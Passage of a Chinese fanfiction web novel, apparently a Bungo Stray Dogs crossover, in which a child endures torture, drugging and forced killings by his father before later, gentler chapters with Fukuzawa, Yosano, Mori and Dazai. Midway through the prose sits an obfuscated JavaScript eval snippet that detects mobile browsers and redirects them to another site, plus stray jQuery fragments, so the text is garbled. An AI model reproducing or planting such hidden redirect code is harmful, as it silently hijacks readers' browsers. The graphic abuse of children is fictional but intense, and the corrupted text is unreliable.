而藤原千学对这些不感兴趣。 将他带走那天,父亲问他想要什么。 他说:想要一个朋友。 一个和书上所说的一样的朋友。 于是父亲将地下室的笼子塞满了孩子。 父亲说,这就是朋友,他们不会拒绝你,不会否定你,会永远的——听从于你。 这不是朋友。 藤原千学想,他不曾看过影视剧,他的世界早就被各种书籍填满了,但就算是只有算数与字母的教科书里,也偶有一两句与朋友相关的文字。 这不是朋友。 朋友没有怨恨的眼睛,没有刺耳的尖叫,没有,没有…… 他颤抖着,拔出了肚子上的刀。 这把刀不大,也不锋利,像是沉淀在杂物里的老旧物品,藤原千学不知道该如何形容它,这不是能杀死人的武器。 可是很痛。 因为不好入体所以需要用力地搅,用力地转,他被恶狠狠地抵在墙面,直至半截钝刀入体,那个人才慌乱地奔跑远去。 “我不知道,为什么,父亲,为什么会这样?我真的不知道,父亲,告诉我吧。” 父亲总说这个世界需要自己看,所以从来不会主动告诉他多少知识,父亲总说——千学,你很聪明,什么都能够看出来,什么都能够学会,这个世界很简单,只要你睁开眼睛看,那就没有什么你看不见的东西。 可他这一次,真的什么都不明白。 看不懂,悟不透, 所以求求你了。 告诉我,他们为什么会如此做的理由吧。 每一个人都夸赞过自己的聪明,他也知道自己聪明,这是他第一次遇到无法理解的东西。 书上说,若将孩童比作飞鸟,父亲便是他栖息的树,翱翔的天,若将孩童比作游鱼,母亲便是包容的海,温柔的风。 遇到无法理解之事时,藤原千学理应求助父亲。 理应如此。 本该如此。 踢打到只能蜷缩起来的痛觉遍布着全身,肚子上的伤口尚未处理便又添新伤。 从未有过的痛让他开始哭喊。 所有对父亲的幻想在这一刻山崩地裂,天也跟着塌了下来。 他开始想念母亲。 想要温暖的怀抱。 想要温柔的言语。 想要不论他做错什么,只要乖乖道歉就能原谅自己的母亲。 为什么道歉没有用了? ——“为什么你要放走他们?” 为什么父亲会是这个样子? ——“你居然会可怜那群虫子?哈哈哈哈,你居然可怜那些虫子?” 这里的天永远昏沉沉,云也揉进了愁绪。 父亲后来给他扎了一针药,害怕针孔的他挣扎着不愿意配合,父亲便将他打昏在病床上。 他醒来时,听见父亲说——“小千学,听话,你要听话。” 要听话,那样才是父亲喜欢的好孩子。 言语的甜枣,身体的苦痛,两者同时加诸于身,鞭打在心,第二天就恢复如初的藤原千学看向镜子。 那是一个在哭泣的孩子。 一分钟前,母亲挂断了他的电话,掐灭了他的怀念。 藤原千学突然想起从前的噩梦。 梦里的母亲总是尖利着声音埋怨自己,埋怨他的聪明永远带来麻烦,埋怨他的早慧总是无法被她轻易欺骗。 埋怨他的出现导致她被父亲厌烦。 温柔的言语是因为在外人眼前不扬家丑。 温暖的怀抱是因为他的聪明带来了钱财。 自此之后,自展露异于常人之后,母亲再未苛责过他,是因为……因为…… 是因为父亲“看”到了他。 所以, 那些都不是梦啊。 可是为什么—— 理解这些之后,要比后来父亲给的那一巴掌还要难受呢? 若将他比作飞鸟,那棵所停驻的树便爬满毒蛇,那片所飞翔的天永远狂风暴雨。 若将他比作游鱼,那片所依赖的海便抽离氧气。 大风卷起巨浪,将鱼从海底拍打上沙滩,被海鸟叼走,被人类拾起,永远逃不过被吞吃入腹的命运。 吱呀—— 封闭无光的房间被人推开,青年哼着轻松的曲调走过来,抱起他。 “小千学,我把你的朋友找回来了。” “这次不要再犯错了喔。” 藤原千学睁开眼睛,从青年身后向墙面看去。 他看到了袭击自己的人。 那是一个红头发的少年,不同于其他被重新关进笼子里的人,巨大的钉子贯穿了少年双手,让他高高吊在墙面。 鲜艳的毛发滴着同色的血,明亮的灯光下一眼便能看见。 父亲塞给了他一把匕首。 “小千学,去吧。” 他将藤原千学推到少年面前,引导着,“去复仇吧。” “他伤害了你,理应付出代价。” 理应付出死亡的代价。 藤原千学看着血,看着人,看着手上的匕首与指向红发少年的,属于父亲的手。 复仇。 代价。 不,不对。 他扔掉匕首。 这不对! “什么是不对?那是完全错误的理论。” 父亲捡起匕首,他看向藤原千学,轻轻地笑了,“小千学,这个世界的规则就该是这样。” 颤抖的双手被强迫着握紧刀柄。 “他惹怒我,我杀死他,活下来的人才是真正对的。” 人的身体很软,刺进去时感受不到多少阻力。 父亲让他记住这个触感。 “小千学,你很快就会明白这个道理的,这并不是什么——令人痛苦的道理。” 喷涌而出的血液在接触到空气时迅速变凉,黏在身上怎么也洗不干净。 洗不干净。 激烈的水流冲破皮肤,指甲在身上留下道道血痕,他去年就已经能够独自沐浴,去年就已经能够将自己洗得干干净净。 不论是泥点,汗水,还是吃饭不慎落下的油污。 他都能够洗干净。 ……洗不干净。 眼前好似还有一片红,身上也怎么看都是红的,血越洗越多,越洗越多,看起来要生生将自己的魂灵淹死过去。 洗不干净。 洗不干净。 浴室的水流从深夜流淌至清晨,泪水怎么也流不尽。 …… …… 嚓—— 火焰点燃蜡烛。 在幽暗与哭泣之中,藤原千学闭上眼睛。 他没有许愿。 难得放空的大脑什么也没想。 三息之后,藤原千学吹灭蜡烛,切开蛋糕。 这是他来到父亲家中的第二年。 父亲不知去了哪里,一连几天不见人影,但每日仍旧会让人带来饭食与作业。 而现在,是什么都不需要做的两个小时。 四面八方的监控将他的一举一动记录在册,藤原千学拿起蛋糕,递到了笼子前。 饿了两日的十余人如饿狼扑食,一小块蛋糕挣得你死我活,最后奶油与糖果尽数融化破碎,落在铁面,谁都能够舔上一两口。 藤原千学蹲在铁笼前,一块一块地递出去。 一点奶油在争抢中溅在他的脸上,被轻轻揩掉,略微有些灰暗的黑瞳盯着指尖蓝绿色糅杂的奶油。 片刻之后,沾着奶油的指尖被含进嘴中,算是吃过了今日的饭。 童话一样绮丽的孩子蹲坐在笼子前。 他望着欲图将笼子也舔穿的同龄人,灵魂放空,度过了今年唯一的空闲。 母亲从未与他庆祝过生日。 十个月前被拒绝想念之后,藤原千学就已经想明白了,想明白之后,紧随而来的又是从前一直不愿意承认的真实记忆。 他学会的文字是自己拼读的,记忆里的爱是从书中讨来的,从来没有母亲的温情与悉心教导。 孩子总是爱做梦的。 只要把苦痛伪装成梦,或者统统忘记就好像能够被爱上了。 于是在认清现实,想起一切之后。 ——自己就不会再被爱了。 藤原千学站起身,用叉子敲了敲铁杆,争抢的人群听不见,也未曾抬头。 “生日快乐。” 他说。 第二天,他们全部死了。 被毒死的。 因为蛋糕。 “小千学,乖千学,我的千学,看吧——这并不困难。” 几日未见的父亲拍着掌走进来,和藤原千学一同站在笼子前,他弯下腰,抬起藤原千学的手臂,一个一个数过去,“一个,两个,三个……” “看啊,小千学,你杀死了三十一个虫子。” 欣喜的亲吻落在脸侧,青年高兴地抱着他转圈。 “小千学真厉害。” “……” “……” 他杀死了三十一个人。 因为一点善意。 一点——想与伙伴分享,想让自己快乐,可笑到连神明也会嗤笑的善意。 灵魂的动荡带来晕眩。 他匍匐在地,妄图将五脏六腑也呕吐出来。 书上不是这样说的。 书上说生日蛋糕是会带来祝福的,为什么,为什么会死去? 那明明—— 是会带来祝福的啊。 “小千学,善意,是人类最不需要的感情之一,任何的善良都会带来祸端,于他们,于你,都是灾祸。” “这是我教给你的第一个道理。” 青年好心情地抽出纸巾,轻柔地替他擦拭掉脸上的泪痕,“所以啊,人与人的争斗,向来是谁更残忍,谁就能得到一切。” “良善,是最最最无所谓的东西。” “千学,你需要舍弃它,完完全全地舍弃它。” ………… ……… 痛苦。 是何种模样? 代表听话的药剂通过针孔注入体内,被扭断的手臂带来钻心的痛,喘息,哭泣,怒吼,各种声音充斥在耳中,钻入内心。 这是一个地狱。 一个地狱。 ……… ………… 神啊。 救救我吧。 齿轮精密咬合的声响在他颅腔回荡。 他知道神从不会倾听仪器的祷告。 可是。 可是。 我是人啊。 ………… ……… 滴—— 水珠落地,惊起涟漪。 藤原千学睁开眼睛,看见满天血红,血云天连海,沉浮的尸体像是船。 刺痛从脑后传来,巨大的力道将他重重压在玻璃上,强迫他睁大眼睛,注视处刑室内最后一个活人吊死。 “真奇怪,明明已经剔除了感情,为什么还会对虫子生出同情心?” 身后的呓语带着针扎进后颈,单纯惩罚的注射带来了在针床上翻滚的痛意。 “说了多少遍,” 天旋地转,痛到感官也不怎么敏感的他仰面倒在地面,长长的刘海被掀起,接着,是一道用力的掌掴。 “啪。” “就算是要逃。” “啪。” “也不应该带着这些累赘啊。” “啪。” “那堆连最基本的算数都会做错的蠢货……你怎么敢相信他们不会因为胆小而背叛你?” “啪。” “你为什么会做错选择?” “啪。” “被背叛的感觉怎么样?” “啪。” “背叛我的感觉怎么样?” “啪。” “你为什么——” 他被揪住衣领提了起来。 双腿悬空。 接着—— “砰!” 后背撞碎了玻璃,瘦小的身体被重重扔进处刑室内。 尚有余热的血液漫过他半闭合的眼。 那是一双灰暗的,漆黑的眼。 ——“为什么会做错选择?” “……” 全身蔓延开的疼痛愈发剧烈,他的手脚开始痉挛,大脑保护机制让身体下意识想蜷缩起来,却被强硬地禁锢住,被迫伸展开四肢。 “不说话?也是,知道自己犯错的孩子就是这样。” 脸上的钝痛带着炙烤感,像是有火星在皮肤下一跳一跳,他被掀开眼皮,与一双与自己模样相似的眼睛对视。 漆黑,冰冷,疯狂。 “知道自己错了,痛了,就会改正了。” 男人说着,又兀自笑了起来,苍白的唇角向两边咧开,“小千学是聪明的孩子,应该知道,谁才是真正值得信任的。” “相信虫子,并被虫子背叛,那不是,至少不应该是你这样聪明的孩子——会做出来的事情。” “……” “……” 在极致的痛苦尽头,某种东西终于停止了工作。 高速运转着的精密仪器在过载的电压下,“啵”的一声,碎裂了。 世界陷入一片绝对寂静的虚无。 他已经不需要针剂就能够迅速痊愈。 他不再试图理解痛苦。 从那天起,声音变得遥远。 父亲的话有时像隔着一层厚玻璃,只有音调,没有意义。 他更多时候是看着事物的边缘——窗框与天空交接的线,地毯上反复缠绕的花纹,自己指甲上白色的月牙。 它们很安全,它们没有生命,不会流血,也不会因为他看一眼就死去。 如果把人比作它们…… 如果把他们看成无生命的物品…… 似乎就不会再痛苦了。 一只飞蛾越过小溪,越过森林,越过高耸的山与窗。 它的寿命快到尽头,翅膀煽动得有些迟缓,藤原千学望着它挡住阳光,挡住水晶灯,蜷缩起触角合拢翅膀——最后,安然地死在了自己的掌心。 生命终会迈向死亡。 飞蛾会死。 生命终会迈向死亡。 人类会死。 男人哼唱着轻松曲调走向他,握住他的手,带他埋葬了这只飞蛾,随后朝他张开双臂。 “来吧,小千学,去见见你的新朋友们。” 生命终会迈向死亡。 一切拥有生命的生物都会死。 “……” 藤原千学睁开眼。 笼子里空无一人。 父亲鼓着掌,大笑起来,那笑声在石壁间碰撞,永不平息,他走上前,像奖励一只合格的猎犬那样抚摸着他。 一只手最终落在藤原千学肩膀上,力道大得像是要捏碎骨头。 “做得很好。”他说。 藤原千学无言地移动视线, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16776644|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越过跌落的锁,四溅的血,落到一座巨大的仪器前。 四米高的它像一只巨人,幽蓝的光芒穿梭在巨人的血管之中,涌向最中心保护的几颗大脑。 巨人背后,是一面屏幕。 屏幕不断更新着杂乱无章的字符,像是人在极致痛苦下的疯魔呓语。 ——死亡之后,便成物品。 骸骨,血肉,毛发,血液,脏器,大脑。 全部都是物品。 早餐是冷的煎蛋与温牛奶。 藤原千学坐在长桌尽头,用叉子将蛋黄的黏液与蛋白彻底搅碎,混合成一种均匀的、令人不快的黄色。 父亲坐在他的侧面翻看着新购入的书籍,三分钟后,仆人无声地收走一口未动的盘子。 他不在意自己的孩子是否饿着肚子,毕竟这偌大的城堡中哪里都能找到吃食。 一张剪裁完整的报纸被推到藤原千学眼前。 上面登报着某个家族的倾覆与更迭,是母亲的家族。 男人微笑着说: “小千学,这是你的奖励。” 一个奖励。 藤原千学眨了眨眼,也露出笑。 他已经许久未曾犯过错,就像男人所说那样——聪明的孩子学会正确之后就永远不会出错。 微笑并不困难。 他想, 就跟乞求原谅的哭泣一样简单。 这是藤原千学与父亲相处的第三年。 “聪明的孩子拥有更多的选择权。” 父亲如此说,带他去往了更大的殿堂。 这里金碧辉煌,宝玉如石,一个又一个成年人举着酒杯,微笑着与父亲碰杯,交谈。 交杂的香水气,激昂的圆舞曲,人群欢笑着开始共舞起来。 身穿鱼尾裙的女士递来一盘蛋糕,微笑着与父亲相携着迈入舞池。 藤原千学看向殿堂外的天空。 碧蓝的天穹恰好飞掠过一两只相伴而行的雀鸟。 这里的每一个人都带来了一个孩子,或比他小,或比他大,皆带着浮于表面的笑,像绘本里的木偶人。 藤原千学却笑不出来。 他看着舞池里的人慢慢围成了一个圈,一只只佩戴着不同却同样造价高昂的首饰的手臂伸出,将边缘的孩子拉进圈中。 他看见突然出现在角落的一道道高细身影,他听见一声声齿轮转动的动静。 所有人都在歌唱着,欢呼着,于是被拉进圈中的孩子也跟着嬉笑起来。 藤原千学却看得分明。 他看见所有人脸上越来越扭曲的笑意,看见父亲偶然向自己瞥来的一个眼神——那是只有在笼子里的人尽数死去,又重新填满时才会出现的眼神。 藤原千学想到了什么。 久违的胆颤与恐慌迅速填充满大脑,如电流一路蔓延至四肢百骸,颤抖地轮转千百遍。 圈子逐渐向他靠拢,恐慌变成一颗巨大的陨石向世界坠落,将观赏流星的人群砸得血肉模糊。 藤原千学看见血肉模糊的其中一个人——那是他的父亲。 “来吧,小千学。” 他下意识地想要逃跑,大门就在触之可及的位置,只要迈开腿就可以成为天上的飞鸟。 只要…… 只要…… 迈不开。 怎么也动不了。 不管灵魂与心脏不间断的歇斯底里与尖叫,他的身躯无论如何都迈不开腿。 身体……身体也会背叛自己吗? 手臂不受控制地抬起,被人轻松地拽进圈子最中心,他僵硬地被陌生的手臂牵起,摆出了一个个动作。 等到音乐停息,父亲弯下腰,将手枪塞进了他的手心里。 不要…… “加油吧,小千学。” 他明明已经听话了……不要…… 抓住衣角的手被温柔地一点一点掰开。 “今天之后,你将举世闻名。” 男人微笑着,鼓励着颤抖的他:“不要主动松开它。” “不……” 吱呀—— 人潮褪去,大门闭合。 黑暗漫过他空茫的五官,连同那几只还盘旋在天空的飞鸟。 一声尖叫拉开厮杀的序幕。 藤原千学缩在角落,颤抖着,睁大眼睛看着一具又一具残缺或完整的躯体倒下。 为什么? 为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么…… 有人发现了角落的他,狰狞着拿起武器扑向他。 ——“为什么?!!!” 一声枪响。 世界陷入完全的死寂。 光影中只剩灰黑色的人群变成了老旧录像带,卡顿,迟缓,遍布粗糙的星点。 藤原千学睁大眼睛。 ……谁在尖叫? 好吵。 好吵。 于是又是一声枪响。 沾着血点的显示屏好像彻底坏了,漆黑一片,什么都看不见,但偏偏还能听见录像带里可怜的哭泣声。 怎么能够有人哭得那么的…… 真实呢? “对不起……对不起……” “……对不起。” 神啊—— 枪口颤抖着,对上唯一存活者的下颚。 漆黑的眼瞳疯狂震动着,像是有无数根细针扎进瞳孔,致使主人的视野永跌黑夜。 这是一个殿堂。 它金碧辉煌,打开灯,人影绰绰,载歌载舞。 这是一个监牢。 它幽暗无光,关上灯,尸体堆叠,血流成河。 ——带我走吧。 我是个人啊。 听一听我的祈求吧。 好可怕。 这里真的好可怕。 封闭黑暗的世界,阳光从穹顶的月牙窗偷溜着洒向下,光束弯曲着,照亮翻涌在空中的尘埃。 死神的镰刀悄悄落下,带走这里的上百条生命,独留最后的苟活者残喘于世。 布满划痕,又迅速愈合的指节弯曲,扣动了扳机。 “……” “……” 温烫的枪管死死抵在咽喉,除去滴落在地面的血珠与泪滴,什么多余的事情也没有发生。 藤原千学在五分钟前用完了最后一颗子弹。 “……” 在恢复力气,从一堆血肉中拾起刀刃前,殿堂的大门先他一步被人打开。 “千学啊。” “恭喜你,来到了父亲的世界。” ……一个全新的,前所未有的奖励落在他眼前。 藤原千学颤抖着,伸不出手,迈不开腿。 他死死闭着眼。 仿佛这样就能够永远不说话,不微笑。 “千学,不可以忘记父亲哦。” 只要不说话—— 一具倒吊的尸体横陈在他的眼前,尸体的模样滑稽,像是童话书中逗人取笑的丑角。 只要看不见—— “千学,生日快乐,喜欢爸爸送的礼物吗?” 只要听不见—— 不听,不看,不嗅,不言。 如此, 才能够得到永远的安宁。 “——” 破灭的号角声惊醒整座城堡,枪炮声连绵不绝,让这座耸立在山间百年的建筑开始摇晃。 布满弹孔的房门被暴力破开,阳光倾泻,落下能够灼烧人的滚烫温度。 率先步入房间的那人停住脚步,紧接着,像是看见了什么无法理解的画面,又匆忙地往回跑去。 过了一会儿。 “……大人,就是这里。” 长靴踏过黑凝的血泊,冰蓝色的钻石映射出这个房间的全部场景。 黑发的男孩穿着古老精细的贵族服饰,身上布满伤痕与缺口,似乎曾被一只巨大的蚁虫细细啃咬过。 苍白的面孔垂落,新添的伤口缓慢往下滴落着血。 他紧紧握着枪,安静地蜷缩在一边,一个被反复砸烂的录音机静静摆在面前。 钻石中央倒吊着一具尸体。 尸体高挑,成熟。 与角落男孩极其相似的面容表情安详,仿佛是在熟睡中自然死亡,带着十余年未曾出现的、并不疯狂的宁静笑容。 像是一场巨大的献祭。 53.第 53 章 其他的暂且不论。 福泽谕吉目前只交给了藤原千学一件事情——给绫辻行人道歉。 第一个任务就那么困难? “我不要。”藤原千学表示他做不到。 对此早有预料的福泽谕吉:“你打晕了他,这是不对的。”他感觉再这样下去,自己遇到谁都会有超乎寻常的耐心了,至少在脾气上。 “他针对我,他应该和我道歉。” 藤原千学满脸不服气。 “……” 最后,藤原千学被监护人带着去往了绫辻行人居住的地方,和同样被监管者辻村深月按着去了病房的绫辻行人相互错过。 在房门前/病房外等了很久,归去路上狭路相逢,随后才知道对方与自己双向奔赴的两位成年人:“……” 他们郑而重之地交换了电话。 “辻村军官,幸会。” “福泽社长,久仰大名。” “我没有追究你打晕我的罪行,你不应该好好感谢感谢我?” “明明是你的异能力没有起效吧,没用的金毛犬。” 岁月静好的另一边,绫辻行人和藤原千学相互间狠瞪一眼。 “那你更应该感谢我了,罪犯,这是我对你的仁慈。” “不要把你的无能说得那么冠冕堂皇。” 福泽谕吉拉住藤原千学,收走了明明已经被异能特务科收缴、但又莫名其妙出现在这里的手枪。 “千学,听话。” 辻村深月抬手捏了捏鼻梁骨,表情苦恼,“绫辻,注意言辞。” 原本在路上,就已经答应得好好的藤原千学此时满脸不乐意,很明显,他被绫辻行人激起了火气。 “我救了他一命,他恩将仇报!” “你是故意这样做的,我不接受这所谓的救命之恩!” 绫辻行人也表情不爽,他要比藤原千学还要不情愿一万倍,偏偏最尊敬的长辈要求他必须这样做。 最后,两个人还是面容扭曲地相互鞠躬,道歉,又咬牙切齿地相互谅解了。 这是个耻辱。 藤原千学鞠完躬后死活不愿意自己走,像只树懒一样挂在福泽谕吉身后。 他抱住监护人脖子,小声抱怨着,“我七岁之后就没有说过对不起了。” 夕阳温柔地亲吻过男孩墨黑的眼瞳,他们行走的路被铺上一条宽长的金红色地毯,散着晕美的微茫。 “但是我还是说了。” 藤原千学歪头,向试图拯救自己的人讨要着糖果,“我听话了,你应该夸一夸我。” …… …… 离开异能特务课的流程异常轻松,与前些日子的严防死守完全不同。 “有空常来玩啊,藤原侦探。” 看着面前笑容诡异(?)的光头大叔,藤原千学伸向浓缩咖啡的手又默默缩了回来。 在异能特务课的两个月里也不是完全令人烦躁的,全是细节怪的精英们很快发现了藤原千学的第二个喜好——咖啡。 被送到侦探社的咖啡机,还有各类咖啡豆,那些就是藤原千学这段时间帮异能特务课处理案件得到的“工资”。 那只天天逼他看书写读后感三花猫没再出现过,临时住处堆放的书籍,藤原千学最终还是把它们带回了侦探社。 第二件事,是向尾崎红叶道歉。 但她和间贯一最近请了假,据说是出去旅游了,于是这件事便暂且搁置。 与谢野晶子还不知道事情真相,只以为藤原千学是被爆炸波及到的。 这是她几年来首次使用异能力。 那已经被烧得没有人样的身体恢复原样,让与谢野晶子不可避免地回想到了在常暗岛的一切。 藤原千学回来之后,她一整天都没有离开过房间。 与谢野晶子没有后悔对藤原千学使用【请君勿死】,她只是下意识地想去逃避。 会怪自己救活了他吗? 会怨恨自己又将他拉入痛苦之中吗? 次日清晨,藤原千学敲响了与谢野晶子的房间门。 令自己噩梦重现的主角将手中的礼盒递到她的面前。 “这是谢礼。” 他黝黑的眼瞳中冷清一片,毫无惧怕与殷切,像是一片澄明的池水,蝴蝶蹁跹点过水面,短暂的涟漪之后又重归宁静。 “谢谢你救了我。” 夏日天亮得很快,七点时分,世界就亮堂得惊人,晨风凉爽,不着痕迹地将少女的阴霾擦抹开。 这是福泽谕吉让藤原千学做的第三件事情。 礼物是乱步和他一起挑的,两枚江户风铃,浅蓝色的,画着铃兰花,下坠的短册是两行风雅的诗,提起来时响起清脆明亮的响声,很好听。 与谢野晶子打开礼盒,她看了很久里面的风铃,把其中一个挂在了卧室的窗台上。 “谢谢。”她说。 ——第四件事。 藤原千学扶了扶眼镜,看向被自己和尾崎红叶从那个世界带回来的“异能者”。 两个女孩依偎在一起,发觉藤原千学看向自己时下意识想低头躲避,却又想到了什么,鼓足勇气抬起些许怯懦的眼睛注视回来。 她们的发色一黄一黑,比藤原千学还要瘦弱。 福泽谕吉要求的第四件事,就是目前寄宿在晚香堂的两个小咒术师。 她们对将自己救出来的武装侦探社,还有异能特务课两个势力产生了极大的依赖性,但对其他人——特别是要求她们去学校上学一事,两个在父母死后惨遭折磨的孩子对此十分抗拒。 她们不相信外面的任何人,任何一张生面孔都能够引起她们的恐慌。 从各方面验证出这两个孩子能看见“鬼怪”,并拥有那个世界的“异能力”,异能特务课自然而然升起了培养的打算。 不想去学校,特务科同样拥有能够教授知识的优秀教师,对外人抵触,她们的年龄很小,可以慢慢调养心理。 但这些决定,都需要经过藤原千学,这位唯一可以看见异世界之人的同意。 年仅十岁的孩子拥有一票否决权,这听起来荒谬至极。 但这毕竟是横滨。 一劳永逸还省事的方案,藤原千学没理由不同意,所以从明天开始,她们就要去异能特务课和绫辻行人当邻居了。 在此之前,刚上任的异能特务课最高指挥官,种田山头火询问过藤原千学,是否知晓她们的能力叫什么。 世界融合已经到达尾端,只差最后半个小时的分差,想着反正都要融合了,到时候说和现在说也没什么差别,藤原千学索性把咒术界相关的全部说了出来。 咒术师,术式,咒灵还有总监会的由来与运转规则,种田长官点头,又问他是否知晓那两位小咒术师的术式。 “……” 看着在自己面前拘谨瑟缩的两个人,藤原千学问:“你们要加入武装侦探社,还是异能特务课?” 这不是一个选择题。 很快, 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间贯一隐瞒了藤原千学受伤的事情,他没有直起身子,利用垂落的头发掩藏撒谎后的不安,“只是我们无法再做到,完全听从藤原侦探的指令了。” “实在抱歉,辜负了您的信任。” 果然是被吓到了啊。 西园寺鸣月无奈,搭住间贯一的肩膀,将人扶起来,“是千学做了什么事情吧,没关系,你们本来也不需要听他的话语,不用特意来向我道歉。” “但我们还是失职了。”尾崎红叶的面色看起来和偷渡客一样苍白,憔悴到仿佛下一秒就会倒下,“妾身不会再信任于他了。” 见她这样说,西园寺鸣月啊了一声,他将只动用了不到十分之一金额的卡放进衣兜里,“看起来千学做的事情,给尾崎小姐留下了一些创伤。” 不只是一点。 眼睁睁看着一个人,还是答应过要保护得好好的一个孩子,在眼前被火焰灼烧得面目全非,而自己只能无力地祈求奇迹来得再快一些,要是再晚上几分钟,他就会彻底死去的经历。 ——是个人都会崩溃。 尾崎红叶这样的表现,算是心理非常强大的了。 至少她还知道不将藤原千学的真实情况告知西园寺鸣月,只说:“那是一个噩梦。” 而噩梦里的怪物与受害者都是藤原千学。 “尾崎小姐,你看起来很不好。” 西园寺鸣月轻叹一口气,“或许你们需要两张前往夏威夷的机票。” 自从那次偷渡客私自给他们添上养父子设定之后,防止后面再出现意料之外的设定,神隐和搭档一不做二不休,把藤原千学和西园寺鸣月之前的人生全部编撰完全了。 现在的情形,总会让他有一种子债父偿的既视感。 面对间贯一的推拒,西园寺鸣月随口编了个理由,“这是之前谈合作别人送的。” “我不可能离开擂钵街太久,还有那么多孩子需要我呢。” 他们信了。 主要还是西园寺鸣月外在形象太好了,让人潜意识里觉得,这样一个人不可能会说假话。 云霄确实不会。 但使用这张角色卡的人是神隐。 目送两人离开,西园寺鸣月才走进石头屋,用手背摸了摸偷渡客的额头。 好像没有那么烫了。 54.第 54 章 因为生病,偷渡客不得不摘掉大部分的绷带,将常年不见光的皮肤暴露在外。 纵然提前从世界那里得知了他整容的事情,但在第一次看见这张脸时,他还是震惊了好一会儿。 真的太像了。 要不是他小时候为了和神白区分开来,每周染三次头发,从十岁到成年这期间头发从来没黑过的话,神隐真的会被吓到的。 确认了状态要比昨天好上一些了,金发青年掌心十分自然地落下,拢住男孩无血色的半张脸。 因为实在太像了,比起神隐,更像是他的双胞胎兄长。 这样看,就像是在欺负神白一样。 ……所以之前去干扰伏黑隐约会的时候,是特意易了容吗?当时的样子还只能勉强看出一二分相似。 偷渡客仰起脸,将青年的手夹在脖颈与脸颊之间,他似乎长高了一点。 西园寺鸣月轻捏住男孩腮上的软肉,隔了两三秒松开手,“擂钵街附近新开了一家诊所。” “鸣月是要带我去那里吗?” 偷渡客握住青年的手,想让温度在自己身上多停留一段时间,这些日子的病症让他的状态变得萎靡,但还是睁开了猩红的眼睛。 确实打着这个想法的西园寺鸣月叹气,“已经生了很多天的病了,小隐。” “我要鸣月抱着我去。” 偷渡客说,朝西园寺鸣月张开手,瘦削的腕骨戴着一串蓝白色的花。 生病的人总是拥有许多特权。 就像现在。 …… 略显寒碜的诊所昨夜又遭遇了一场袭击,门框可怜地歪扭着不停落下碎屑哭泣。 晨光从弹孔密布的窗帘缝隙漏进来,照出空气中悬浮的尘埃,像一场永远下不完的雪。 不修边幅,模样落魄的青年医生蹲在门边,手里那把生锈的扳手正与变形的合页较着劲。 医生眼下挂着青黑,白大褂袖口沾着暗褐色污渍,让他看起来如同一个为生计所困的年轻人。 “森医生——” 楼梯处响起吱呀吱呀的声音,男孩趴在扶手上,绷带裹着的手腕从过长的袖口露出半截,他捏着个银色的药盒,盒身上褪色的标签卷起边角。 “这是什么药呀?” 医生闻言,葡萄紫的眼睛向上一抬,“是泻药,所以不要再像吃米饭一样往嘴里塞了,太宰君。” 他说这话时,正小心地把一颗带着血迹的螺丝从木头里撬出来。 “啊……挑了那么久的药居然只是泻药嘛……” 太宰治无精打采地顺着扶手滑下来,他把药盒举到眼前,透过铝箔包装对着灯光细看,“可它长得好像会吃死人的样子。” “任何药物服用过多,都是会死人的,不过这个药……我记得早就因为不良反应大,疗效不确切,被全面停止生产、销售和使用了。” 空落落的门槛被一只短靴踏过。 青年高大的影子先于身体步入诊所,拉得很长,一直延伸到太宰治的脚边。 “这是禁用药品。” 来人拥有一头灿阳似的金发,他先将怀里的男孩放到座椅上,随后转头,朝还握着扳手的医生颔首,“医生,我来看病。” …… 太宰治坐在问诊桌旁,看着因为怕疼、怎么也不愿意打针的同龄人,蓬松的卷发由于抗拒的动作变得更加凌乱,遮住那双一闪而过的猩红色眼睛。 无论怎么看,都像是个恃宠而骄的家伙。 他感到无聊地将头倚在手臂上,歪斜的视野下,被他所注视的那个人就显得更为高大了,“你在浪费大家的时间诶。” “啊,诊所是还有患者预约了吗?” 回话的是穿着气质均与擂钵街格格不入的金发青年,俊朗立体的面容上还带着刚才哄孩子一样的笑容,冰蓝眼眸就先一步带上了诧异与歉意。 “那就请让那位患者先等一等了,我们不会耽搁到天黑的。”他眼疾手快地按住抬脚欲图踹人的偷渡客,“医生,有不打针的疗法吗?” 险之又险躲过熊孩子用力一踹的医生擦擦汗,“普通的药物治疗会更慢一些。” “没事,拿药吧。” 西园寺鸣月低头,看向比昨天有活力了不少的偷渡客,打趣道:“未来的名医还会怕打针啊。” 生怕西园寺鸣月扒着自己去打针一样,偷渡客整个人都躲进了大衣里。 “可是我怕痛嘛。” 他的声音尚带着病时的沙哑,“而且万一他是个黑医,会偷偷在针剂里下毒,我就再也见不到鸣月了。” “有我在,怎么可能呢?” 西园寺鸣月放松身体,让死而复生的挚友依靠得更舒服一些,戴着两枚宝石戒指的手掌张开,有一下没一下地梳着手下卷曲的头发。 “我不会再让你出事了。” 挚友抱住他,不说话。 “所以你们不是父子关系吗?”旁边响起男孩好奇的问询。 西园寺鸣月侧头,目光先是落在鸢眸另一边的绷带上,又很快移开,与男孩进行对视。 他摇摇头,“我们是朋友。” “诶……忘年交嘛?” 头发微卷的男孩换了一只手撑头,“很少见哦。” 人死复生之事自然不该讲述予外人,西园寺鸣月笑了笑,没有反驳,默认了太宰治的话。 过了一会儿,太宰治又开口:“像先生这种善良的人,会拥有很多朋友也是不奇怪的事情。” 善良? 西园寺鸣月有些惊讶,他不是很理解一面之缘下给出的善良标签,但又觉得,一个孩子如此说很正常,毕竟童言无忌。 “不对。” 西园寺鸣月轻和着声音给出了否定的回复,”我只有小隐这一个朋友。” “诶?” 被这一个回答勾起了兴趣,太宰治从问诊桌后走出,站到西园寺鸣月身前,好奇地抬起头打量金发青年。 “可是先生的样子,看着就像是拥有很多朋友的一个人。” 他将脸贴近,鸢色眼瞳因好奇而睁大,“难道先生还有不为人知的另一面?所以才没有朋友的嘛。” 后一句话有一些冒犯,正常人听到,表情多少都会发生变化,稍敏感一点的人严重的,或许会当场冷下脸。 而西园寺鸣月不是正常人。 他对孩子、或者说对弱者有着超乎想象的,近乎无底线的包容度。 